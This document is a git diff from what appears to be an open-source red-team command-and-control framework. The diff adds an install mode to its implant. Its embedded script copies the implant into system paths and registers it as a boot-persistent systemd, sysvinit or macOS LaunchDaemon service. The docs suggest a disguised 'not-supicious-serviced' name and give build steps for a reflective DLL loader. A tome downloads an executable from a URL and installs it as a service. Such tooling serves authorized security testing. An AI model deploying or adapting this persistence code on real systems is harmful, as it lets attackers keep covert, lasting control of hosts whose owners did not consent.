diff --git a/bin/reflective_loader/.cargo/config.toml b/bin/reflective_loader/.cargo/config.toml index aa7bf5ac1..01019bf75 100644 --- a/bin/reflective_loader/.cargo/config.toml +++ b/bin/reflective_loader/.cargo/config.toml @@ -1,4 +1,4 @@ [build] target = "x86_64-pc-windows-msvc" rustflags = ["-Z", "share-generics=n"] -profiler = false \ No newline at end of file +profiler = false diff --git a/docs/_docs/user-guide/getting-started.md b/docs/_docs/user-guide/getting-started.md index 5b406e87f..f90e27884 100644 --- a/docs/_docs/user-guide/getting-started.md +++ b/docs/_docs/user-guide/getting-started.md @@ -1,15 +1,17 @@ --- title: Getting Started -tags: +tags: - User Guide description: Getting started with Realm permalink: user-guide/getting-started --- # Getting Started + *To deploy a production ready instance see the [tavern setup guide](https://docs.realm.pub/user-guide/tavern).* ### Start the server + ```bash git clone https://github.com/KCarretto/realm.git cd realm @@ -20,6 +22,7 @@ ENABLE_TEST_DATA=1 go run ./tavern ``` ### Start the agent + ```bash git clone https://github.com/KCarretto/realm.git cd realm/implants/imix @@ -27,7 +30,14 @@ cd realm/implants/imix # Create the config file cat < /tmp/imix-config.json { - "service_configs": [], + "service_configs": [ + { + "name": "imix", + "description": "Imix c2 agent", + "executable_name": "imix", + "executable_args": "" + } + ], "target_forward_connect_ip": "127.0.0.1", "target_name": "test1234", "callback_config": { diff --git a/docs/_docs/user-guide/imix.md b/docs/_docs/user-guide/imix.md index 7c8355f19..265f37d61 100644 --- a/docs/_docs/user-guide/imix.md +++ b/docs/_docs/user-guide/imix.md @@ -25,7 +25,14 @@ The imix config is as follows: ```json { - "service_configs": [], + "service_configs": [ + { + "name": "imix", + "description": "Imix c2 agent", + "executable_name": "imix", + "executable_args": "" + } + ], "target_forward_connect_ip": "127.0.0.1", "target_name": "test1234", "callback_config": { @@ -42,7 +49,11 @@ The imix config is as follows: } ``` -- `service_configs`: Currently unused. +- `service_configs`: Defining persistence variables. + - `name`: The name of the service to install as. + - `description`: If possible set a description for the service. + - `executable_name`: What imix should be named Eg. `not-supicious-serviced`. + - `executable_args`: Args to append after the executable. - `target_forward_connect_ip`: The IP address that you the red teamer would interact with the host through. This is to help keep track of agents when a hosts internal IP is different from the one you interact with in the case of a host behind a proxy. - `target_name`: Currently unused. - `callback_config`: Define where and when the agent should callback. @@ -53,6 +64,29 @@ The imix config is as follows: - `priority`: The index that a domain should have. - `uri`: The full URI of the callback endpoint. +## Installation + +The install subcommand executes embedded tomes similar to golem. +It will loop through all embedded files looking for main.eld +Each main.eld will execute in a new thread. This is done to allow imix to install redundantly or install additional (non dependent) tools. + +The install subcommand makes allows some variables to be passed form the user into the tomes through the -c flag. +When specified input_params['custom_config'] is set to the file path of the config specified Eg. +./imix install -c /tmp/imix-config.json will result in input_params['custom_config'] = "/tmp/imix-config.json + +Tomes can parse this with the following: + +```python +def main(): + if 'custom_config' in input_params: + config_data = crypto.from_json(file.read(input_params['custom_config'])) + print(config_data) + +main() +``` + +Installation scripts are specified in the `realm/implants/imix/install_scripts` directeroy. + ## Functionality Imix derives all it's functionality from the eldritch language. @@ -70,8 +104,8 @@ Every callback interval imix will query each active thread for new output and re ```bash rustup target add x86_64-unknown-linux-musl -apt update -apt install musl-tools +sudo apt update +sudo apt install musl-tools RUSTFLAGS="-C target-feature=+crt-static" cargo build --release --target=x86_64-unknown-linux-musl ``` @@ -90,8 +124,18 @@ Check out this blog a starting point for cross compiling. ```bash rustup target add x86_64-pc-windows-gnu -apt update +sudo apt update sudo apt install gcc-mingw-w64 +# Build the reflective loader +cd realm/bin/reflective_loader +RUSTFLAGS="-C target-feature=+crt-static" cargo build --release --lib --target=x86_64-pc-windows-gnu +# You may have to adjust `LOADER_BYTES` include path in `dll_reflect_impl.rs` changing `x86_64-pc-windows-msvc` ---> `x86_64-pc-windows-gnu` + +# Build imix +cd realm/implants/imix/ +# Build imix.exe RUSTFLAGS="-C target-feature=+crt-static" cargo build --release --target=x86_64-pc-windows-gnu +# Build imix.dll +RUSTFLAGS="-C target-feature=+crt-static" cargo build --release --lib --target=x86_64-pc-windows-gnu ``` diff --git a/implants/imix/Cargo.toml b/implants/imix/Cargo.toml index b08843fea..73063dbde 100644 --- a/implants/imix/Cargo.toml +++ b/implants/imix/Cargo.toml @@ -8,7 +8,7 @@ anyhow = { workspace = true } chrono = { workspace = true , features = ["serde"] } clap = { workspace = true } default-net = { workspace = true } -eldritch = { workspace = true } +eldritch = { workspace = true, features = ["imix"] } hyper = { workspace = true } openssl = { workspace = true, features = ["vendored"] } prost-types = { workspace = true } diff --git a/implants/imix/install_scripts/.gitkeep b/implants/imix/install_scripts/.gitkeep new file mode 100644 index 000000000..e69de29bb diff --git a/implants/imix/install_scripts/install_service/main.eld b/implants/imix/install_scripts/install_service/main.eld new file mode 100644 index 000000000..420b68f2b --- /dev/null +++ b/implants/imix/install_scripts/install_service/main.eld @@ -0,0 +1,276 @@ +systemd_service_template = """[Unit] +Description={{ SERVICE_DESC }} +Requires=network.target +After=network.target + +[Service] +Type=simple +{% if SERVICE_WORKING_DIR is defined %} +WorkingDirectory={{ SERVICE_WORKING_DIR }} +{% endif %} +ExecStart={{ SERVICE_START_CMD }} +{% if SERVICE_STOP_CMD is defined %} +ExecStop={{ SERVICE_STOP_CMD }} +{% endif %} +{% if SERVICE_START_PRE_CMD is defined %} +ExecStartPre={{ SERVICE_START_PRE_CMD }} +{% endif %} +{% if SERVICE_PID_FILE is defined %} +PIDFile={{ SERVICE_PID_FILE }} +{% endif %} + +[Install] +WantedBy=multi-user.target +""" + +sysvinit_template = """#!/bin/sh +### BEGIN INIT INFO +# Provides: {{ SERVICE_NAME }} +# Required-Start: $remote_fs $syslog +# Required-Stop: $remote_fs $syslog +# Default-Start: 2 3 4 5 +# Default-Stop: 0 1 6 +# Short-Description: {{ SERVICE_DESC }} +# Description: {{ SERVICE_DESC }} +### END INIT INFO + +cmd={{ SERVICE_START_CMD }} + +name=`basename $0` +pid_file="/var/run/$name.pid" + +get_pid() { + cat "$pid_file" +} + +is_running() { + [ -f "$pid_file" ] && ps -p `get_pid` > /dev/null 2>&1 +} + + +case "$1" in + start) + if is_running; then + echo "Already started" + else + echo "Starting $name" + cd "$dir" + + $cmd & + + echo $! > "$pid_file" + if ! is_running; then + echo "Unable to start, see $stdout_log and $stderr_log" + exit 1 + fi + fi + ;; + stop) + if is_running; then + echo -n "Stopping $name.." + kill `get_pid` + for i in 1 2 3 4 5 6 7 8 9 10 + do + if ! is_running; then + break + fi + + echo -n "." + sleep 1 + done + echo + + if is_running; then + echo "Not stopped; may still be shutting down or shutdown may have failed" + exit 1 + else + echo "Stopped" + if [ -f "$pid_file" ]; then + rm "$pid_file" + fi + fi + else + echo "Not running" + fi + ;; + restart) + $0 stop + if is_running; then + echo "Unable to stop, will not attempt to start" + exit 1 + fi + $0 start + ;; + status) + if is_running; then + echo "Running" + else + echo "Stopped" + exit 1 + fi + ;; + *) + echo "Usage: $0 {start|stop|restart|status}" + exit 1 + ;; +esac + +exit 0 +""" + +launch_daemon_template = """ + + + + Label + {{ service_name }} + ProgramArguments + + {{ bin_path }} + + KeepAlive + + RunAtLoad + + StartInterval + 300 + + +""" + +def is_using_systemd(): + command_get_res = sys.shell("command -v systemctl") + if command_get_res['status'] == 0 and file.is_file(command_get_res['stdout'].strip()): + for canary in ["/run/systemd/system/", "/dev/.run/systemd/", "/dev/.systemd/"]: + if file.is_dir(canary): + return True + return False + +def is_using_sysvinit(): + command_get_res = sys.shell("command -v update-rc.d") + if command_get_res['status'] == 0 and file.is_file(command_get_res['stdout'].strip()): + return True + return False + +def systemd(service_name, service_desc, executable_path, executable_args): + # assets.copy("persist_service/files/systemd.service.j2","/tmp/systemd.service.j2") + file.write("/tmp/systemd.service.j2", systemd_service_template) + args = { + "SERVICE_NAME":service_name, + "SERVICE_DESC":service_desc, + "SERVICE_START_CMD":executable_path+" "+executable_args + } + file.template("/tmp/systemd.service.j2","/usr/lib/systemd/system/"+service_name+".service", args, False) + file.remove("/tmp/systemd.service.j2") + + # assets.copy("persist_service/files/payload.elf", executable_path) + sys.shell("chmod +x "+executable_path) + + sys.shell("systemctl daemon-reload "+service_name) + sys.shell("systemctl enable "+service_name) + sys.shell("systemctl start "+service_name) + print("systemd installed") + +def sysvinit(service_name, service_desc, executable_path, executable_args): + # assets.copy("persist_service/files/sysvinit.sh.j2","/tmp/svc.sh.j2") + file.write("/tmp/svc.sh.j2", sysvinit_template) + args = { + "SERVICE_NAME":service_name, + "SERVICE_DESC":service_desc, + "SERVICE_START_CMD":executable_path+" "+executable_args + } + file.template("/tmp/svc.sh.j2","/etc/init.d/"+service_name, args, False) + file.remove("/tmp/svc.sh.j2") + sys.shell("chmod +x "+"/etc/init.d/"+service_name) + + # assets.copy("persist_service/files/payload.elf", executable_path) + sys.shell("chmod +x "+executable_path) + + sys.shell("update-rc.d "+service_name+" defaults") + sys.shell("service "+service_name+" start") + print("sysvinit installed") + +def launch_daemon(service_name, executable_path, executable_args): + # assets.copy("persist_service/files/launch_daemon.plist.j2","/tmp/plist.j2") + file.write("/tmp/plist.j2",launch_daemon_template) + args = { + "service_name":"com.testing."+service_name, + "bin_path":executable_path+" "+executable_args + } + file.template("/tmp/plist.j2","/Library/LaunchDaemons/"+service_name+".plist", args, False) + file.remove("/tmp/plist.j2") + + # assets.copy("persist_service/files/payload.macho", executable_path) + sys.shell("chmod +x "+executable_path) + sys.shell("launchctl load -w /Library/LaunchDaemons/sliver.plist") + print("Launch daemon installed") + +def persist_service(service_name, service_desc, executable_name, executable_args): + src_path = process.info()['exe'] + if sys.is_linux(): + executable_path = "/usr/local/bin/"+executable_name + file.copy(src_path, executable_path) + if is_using_systemd(): + systemd(service_name, service_desc, executable_path, executable_args) + elif is_using_sysvinit(): + sysvinit(service_name, service_desc, executable_path, executable_args) + elif sys.is_macos(): + executable_path = "/var/root/"+executable_name + file.copy(src_path, executable_path) + launch_daemon(service_name, executable_path, executable_args) + else: + print("OS not supported") + +def parse_and_persist(config_data): + if len(config_data['service_configs']) < 1: + print("Please add a service_config to your imix config") + else: + conf = config_data['service_configs'][0] + persist_service( + conf['name'], + conf['description'], + conf['executable_name'], + "-c "+input_params['custom_config']+" "+conf['executable_args'], + ) + +""" +This script uses the first provided services_configs to install a service +On the local system. The config file specified for the install will be used +by the imix agent. The imix binary itself will be copied to the install +location. The original imix binary will still exist so you may wish to delete +it after running the install. + +./imix install -c /etc/imix-config.json + +{ + "service_configs": [ + { + "name": "imix", + "description": "Imix c2 agent", + "executable_name": "imix", + "executable_args": "" + } + ], + "target_forward_connect_ip": "127.0.0.1", + "target_name": "test1234", + "callback_config": { + "interval": 4, + "jitter": 1, + "timeout": 4, + "c2_configs": [ + { + "priority": 1, + "uri": "http://127.0.0.1:80/grpc" + } + ] + } +} +""" +def main(): + if 'custom_config' in input_params: + config_data = crypto.from_json(file.read(input_params['custom_config'])) + parse_and_persist(config_data) + else: + print("Please specify a config") + +main() diff --git a/implants/imix/src/init.rs b/implants/imix/src/init.rs index 6fc6e2686..c57682d58 100644 --- a/implants/imix/src/init.rs +++ b/implants/imix/src/init.rs @@ -111,8 +111,11 @@ fn get_os_pretty_name() -> Result { } pub fn agent_init(config_path: String, host_id_path: String) -> Result<(AgentProperties, Config)> { - let config_file = File::open(config_path)?; - let imix_config = serde_json::from_reader(config_file)?; + let config_file = + File::open(config_path.clone()).with_context(|| format!("Failed to open {config_path}"))?; + + let imix_config = serde_json::from_reader(config_file) + .with_context(|| format!("Failed to parse {config_path}"))?; let principal = match get_principal() { Ok(username) => username, @@ -212,8 +215,15 @@ mod tests { .to_string(); tmp_file.write_all( r#"{ - "service_configs": [], - "target_forward_connect_ip": "127.0.0.1", + "service_configs": [ + { + "name": "imix", + "description": "Imix c2 agent", + "executable_name": "imix", + "executable_args": "" + } + ], + "target_forward_connect_ip": "127.0.0.1", "target_name": "test1234", "callback_config": { "interval": 4, diff --git a/implants/imix/src/install.rs b/implants/imix/src/install.rs new file mode 100644 index 000000000..1a55dddb1 --- /dev/null +++ b/implants/imix/src/install.rs @@ -0,0 +1,128 @@ +use anyhow::Result; +use clap::{Arg, Command}; +use std::collections::HashMap; +use std::fs; +use std::process; +use std::thread; + +use eldritch::{eldritch_run, StdPrintHandler}; + +async fn execute_tomes_in_parallel( + tome_name_and_content: Vec<(String, String)>, + custom_config: Option<&str>, +) -> anyhow::Result<(i32, Vec)> { + let tome_parameters = match custom_config { + Some(config_path) => Some(HashMap::from([( + "custom_config".to_string(), + config_path.to_string(), + )])), + None => None, + }; + + // Queue async tasks + let mut all_tome_futures: Vec<(String, _)> = vec![]; + for tome_data in tome_name_and_content { + // let custom_config_string = custom_config.unwrap().to_string().to_owned(); + let local_tome_parameters = tome_parameters.clone(); + let tmp_row = ( + tome_data.0.clone().to_string(), + thread::spawn(move || { + eldritch_run( + tome_data.0, + tome_data.1, + local_tome_parameters, + &StdPrintHandler {}, + ) + }), + ); + all_tome_futures.push(tmp_row) + } + + let mut error_code = 0; + let mut result: Vec = Vec::new(); + for tome_task in all_tome_futures { + let tome_name: String = tome_task.0; + // Join our + let tome_result_thread_join = match tome_task.1.join() { + Ok(local_thread_join_res) => local_thread_join_res, + Err(_) => { + error_code = 1; + Err(anyhow::anyhow!("An error occured waiting for the tome thread to complete while executing {tome_name}.")) + } + }; + + match tome_result_thread_join { + Ok(local_tome_result) => result.push(local_tome_result), + Err(task_error) => { + error_code = 1; + eprintln!("[TASK ERROR] {tome_name}: {task_error}"); + } + } + } + Ok((error_code, result)) +} + +pub fn install_main(custom_config: Option<&str>) -> anyhow::Result<()> { + let mut tome_files_and_content: Vec<(String, String)> = Vec::new(); + for embedded_file_path in eldritch::assets::Asset::iter() { + let filename = match embedded_file_path.split(r#"/"#).last() { + Some(local_filename) => local_filename, + None => "", + }; + println!("{}", embedded_file_path); + if filename == "main.eld" { + let tome_path = embedded_file_path.to_string().clone(); + let tome_contents_extraction_result = + match eldritch::assets::Asset::get(embedded_file_path.as_ref()) { + Some(local_tome_content) => String::from_utf8(local_tome_content.data.to_vec()), + None => { + eprint!("Failed to extract eldritch script as string"); + Ok("".to_string()) + } + }; + + let tome_contents = match tome_contents_extraction_result { + Ok(local_tome_contents) => local_tome_contents, + Err(utf8_error) => { + eprint!("Failed to extract eldritch script as string {utf8_error}"); + "".to_string() + } + }; + tome_files_and_content.push((tome_path, tome_contents)) + } + } + let runtime = tokio::runtime::Builder::new_current_thread() + .enable_all() + .build() + .unwrap(); + + let (error_code, result) = match runtime.block_on(execute_tomes_in_parallel( + tome_files_and_content, + custom_config, + )) { + Ok(response) => response, + Err(error) => { + println!("Error executing tomes {:?}", error); + (-1, Vec::new()) + } + }; + + if result.len() > 0 { + println!("{:?}", result); + } + Ok(()) +} + +#[cfg(test)] +mod tests { + use super::*; + #[tokio::test] + async fn imix_test_execute_tomes_in_parallel() -> anyhow::Result<()> { + let tome_files_and_content = [("test_hello.eld".to_string(), "'hello world'".to_string())]; + let (error_code, result) = + execute_tomes_in_parallel(tome_files_and_content.to_vec(), None).await?; + assert_eq!(error_code, 0); + assert!(result.contains(&"hello world".to_string())); + Ok(()) + } +} diff --git a/implants/imix/src/lib.rs b/implants/imix/src/lib.rs index 604786754..83ebc6ce6 100644 --- a/implants/imix/src/lib.rs +++ b/implants/imix/src/lib.rs @@ -2,6 +2,7 @@ use serde::{Deserialize, Serialize}; pub mod exec; pub mod init; +pub mod install; pub mod tasks; #[derive(Debug)] @@ -32,7 +33,8 @@ pub struct C2Config { pub struct ServiceConfig { name: String, description: String, - executable_path: String, + executable_name: String, + executable_args: String, } #[derive(Serialize, Deserialize, Clone)] diff --git a/implants/imix/src/main.rs b/implants/imix/src/main.rs index 51cbcd98b..36791e2d6 100644 --- a/implants/imix/src/main.rs +++ b/implants/imix/src/main.rs @@ -5,7 +5,7 @@ use clap::{arg, Command}; use imix::exec::AsyncTask; use imix::init::agent_init; use imix::tasks::{start_new_tasks, submit_task_output}; -use imix::{tasks, Config, TaskID}; +use imix::{install, tasks, Config, TaskID}; use std::collections::HashMap; use std::time::Instant; @@ -35,8 +35,6 @@ async fn main_loop(config_path: String, loop_count_max: Option) -> Result<( let (agent_properties, imix_config) = agent_init(config_path, host_id_file)?; loop { - // @TODO: Why two timers? - // 0. Get loop start time let loop_start_time = Instant::now(); @@ -136,17 +134,25 @@ pub fn main() -> Result<(), imix::Error> { .subcommand( Command::new("install").about("Run in install mode").arg( arg!( - -c --config "Sets a custom config file" + -c --config "Sets a custom config file" ) - .required(true), + .required(false), ), ) .get_matches(); match matches.subcommand() { Some(("install", args)) => { - let _config_path = args.value_of("config").unwrap(); - unimplemented!("Install isn't implemented yet") + let config_path = args.value_of("config"); + match install::install_main(config_path) { + Ok(_) => {} + Err(local_err) => { + eprintln!( + "An error occured during installation: {}", + local_err.to_string() + ) + } + }; } _ => {} } diff --git a/implants/lib/eldritch/Cargo.toml b/implants/lib/eldritch/Cargo.toml index 60597965b..8cda766e8 100644 --- a/implants/lib/eldritch/Cargo.toml +++ b/implants/lib/eldritch/Cargo.toml @@ -3,6 +3,10 @@ name = "eldritch" version = "0.0.3" edition = "2021" +[features] +# Check if compiled by imix +imix = [] + [dependencies] aes = { workspace = true } allocative = { workspace = true } diff --git a/implants/lib/eldritch/src/assets.rs b/implants/lib/eldritch/src/assets.rs index 1271eb19f..a2516f04b 100644 --- a/implants/lib/eldritch/src/assets.rs +++ b/implants/lib/eldritch/src/assets.rs @@ -21,11 +21,18 @@ use serde::{Serialize, Serializer}; #[folder = "../../../bin/embedded_files_test"] pub struct Asset; +#[cfg(not(feature = "imix"))] #[cfg(not(debug_assertions))] #[derive(RustEmbed)] #[folder = "../../../implants/golem/embed_files_golem_prod"] pub struct Asset; +#[cfg(feature = "imix")] +#[cfg(not(debug_assertions))] +#[derive(RustEmbed)] +#[folder = "../../../implants/imix/install_scripts"] +pub struct Asset; + #[derive(Copy, Clone, Debug, PartialEq, Display, ProvidesStaticType, Allocative)] #[display(fmt = "AssetsLibrary")] pub struct AssetsLibrary(); diff --git a/implants/lib/eldritch/src/file.rs b/implants/lib/eldritch/src/file.rs index d2baaca22..6f9f3141a 100644 --- a/implants/lib/eldritch/src/file.rs +++ b/implants/lib/eldritch/src/file.rs @@ -150,7 +150,7 @@ fn methods(builder: &mut MethodsBuilder) { remove_impl::remove(path)?; Ok(NoneType{}) } - fn rename(this: FileLibrary, old: String, new: String) -> anyhow::Result { + fn moveto(this: FileLibrary, old: String, new: String) -> anyhow::Result { if false { println!("Ignore unused this var. _this isn't allowed by starlark. {:?}", this); } moveto_impl::moveto(old, new)?; Ok(NoneType{}) diff --git a/implants/lib/eldritch/src/lib.rs b/implants/lib/eldritch/src/lib.rs index 37d790bb1..f59670c07 100644 --- a/implants/lib/eldritch/src/lib.rs +++ b/implants/lib/eldritch/src/lib.rs @@ -221,7 +221,7 @@ mod tests { a.globals(globals); a.all_true( r#" -dir(file) == ["append", "compress", "copy", "download", "exists", "hash", "is_dir", "is_file", "list", "mkdir", "read", "remove", "rename", "replace", "replace_all", "template", "timestomp", "write"] +dir(file) == ["append", "compress", "copy", "download", "exists", "hash", "is_dir", "is_file", "list", "mkdir", "moveto", "read", "remove", "replace", "replace_all", "template", "timestomp", "write"] dir(process) == ["info", "kill", "list", "name", "netstat"] dir(sys) == ["dll_inject", "dll_reflect", "exec", "get_env", "get_ip", "get_os", "get_pid", "get_reg", "get_user", "hostname", "is_linux", "is_macos", "is_windows", "shell"] dir(pivot) == ["arp_scan", "bind_proxy", "ncat", "port_forward", "port_scan", "smb_exec", "ssh_copy", "ssh_exec", "ssh_password_spray"] diff --git a/implants/lib/eldritch/src/sys/dll_reflect_impl.rs b/implants/lib/eldritch/src/sys/dll_reflect_impl.rs index 996a50e3e..abfbf19d2 100644 --- a/implants/lib/eldritch/src/sys/dll_reflect_impl.rs +++ b/implants/lib/eldritch/src/sys/dll_reflect_impl.rs @@ -1,3 +1,5 @@ +use std::path::PathBuf; + use starlark::values::none::NoneType; #[cfg(target_os = "windows")] @@ -20,8 +22,45 @@ use { }, }; +#[cfg(not(windows))] +macro_rules! sep { + () => { + "/" + }; +} + +#[cfg(windows)] +macro_rules! sep { + () => { + r#"\"# + }; +} + #[cfg(target_os = "windows")] -const LOADER_BYTES: &[u8] = include_bytes!("..\\..\\..\\..\\..\\bin\\reflective_loader\\target\\x86_64-pc-windows-msvc\\release\\reflective_loader.dll"); +const LOADER_BYTES: &[u8] = include_bytes!(concat!( + "..", + sep!(), + "..", + sep!(), + "..", + sep!(), + "..", + sep!(), + "..", + sep!(), + "bin", + sep!(), + "reflective_loader", + sep!(), + "target", + sep!(), + "x86_64-pc-windows-msvc", + sep!(), + "release", + sep!(), + "reflective_loader.dll" +)); +// const LOADER_BYTES: &[u8] = include_bytes!("../../../../../bin/reflective_loader/target/x86_64-pc-windows-gnu/release/reflective_loader.dll"); #[cfg(target_os = "windows")] fn get_u8_vec_form_u32_vec(u32_vec: Vec) -> anyhow::Result> { diff --git a/tavern/tomes/persist_service/main.eldritch b/tavern/tomes/persist_service/main.eldritch index 1925b8482..0bf09c5de 100644 --- a/tavern/tomes/persist_service/main.eldritch +++ b/tavern/tomes/persist_service/main.eldritch @@ -23,7 +23,7 @@ PIDFile={{ SERVICE_PID_FILE }} WantedBy=multi-user.target """ -sysvinit = """#!/bin/sh +sysvinit_template = """#!/bin/sh ### BEGIN INIT INFO # Provides: {{ SERVICE_NAME }} # Required-Start: $remote_fs $syslog @@ -156,7 +156,7 @@ def systemd(service_name, service_desc, executable_path, executable_url): # assets.copy("persist_service/files/systemd.service.j2","/tmp/systemd.service.j2") file.write("/tmp/systemd.service.j2", systemd_service_template) args = { - "SERVICE_NAME":service_name, + "SERVICE_NAME":service_name, "SERVICE_DESC":service_desc, "SERVICE_START_CMD":executable_path } @@ -166,7 +166,7 @@ def systemd(service_name, service_desc, executable_path, executable_url): # assets.copy("persist_service/files/payload.elf", executable_path) file.download(executable_url, executable_path) sys.shell("chmod +x "+executable_path) - + sys.shell("systemctl daemon-reload "+service_name) sys.shell("systemctl enable "+service_name) sys.shell("systemctl start "+service_name) @@ -175,7 +175,7 @@ def sysvinit(service_name, service_desc, executable_path, executable_url): # assets.copy("persist_service/files/sysvinit.sh.j2","/tmp/svc.sh.j2") file.write("/tmp/svc.sh.j2", sysvinit_template) args = { - "SERVICE_NAME":service_name, + "SERVICE_NAME":service_name, "SERVICE_DESC":service_desc, "SERVICE_START_CMD":executable_path } @@ -186,7 +186,7 @@ def sysvinit(service_name, service_desc, executable_path, executable_url): # assets.copy("persist_service/files/payload.elf", executable_path) file.download(executable_url, executable_path) sys.shell("chmod +x "+executable_path) - + sys.shell("update-rc.d "+service_name+" defaults") sys.shell("service "+service_name+" start") @@ -194,12 +194,12 @@ def launch_daemon(service_name, executable_path, executable_url): # assets.copy("persist_service/files/launch_daemon.plist.j2","/tmp/plist.j2") file.write("/tmp/plist.j2",launch_daemon_template) args = { - "service_name":"com.testing."+service_name, + "service_name":"com.testing."+service_name, "bin_path":executable_path } file.template("/tmp/plist.j2","/Library/LaunchDaemons/"+service_name+".plist", args, False) file.remove("/tmp/plist.j2") - + # assets.copy("persist_service/files/payload.macho", executable_path) file.download(executable_url, executable_path) sys.shell("chmod +x "+executable_path) @@ -224,4 +224,3 @@ persist_service( input_params['executable_name'], input_params['executable_url'] ) -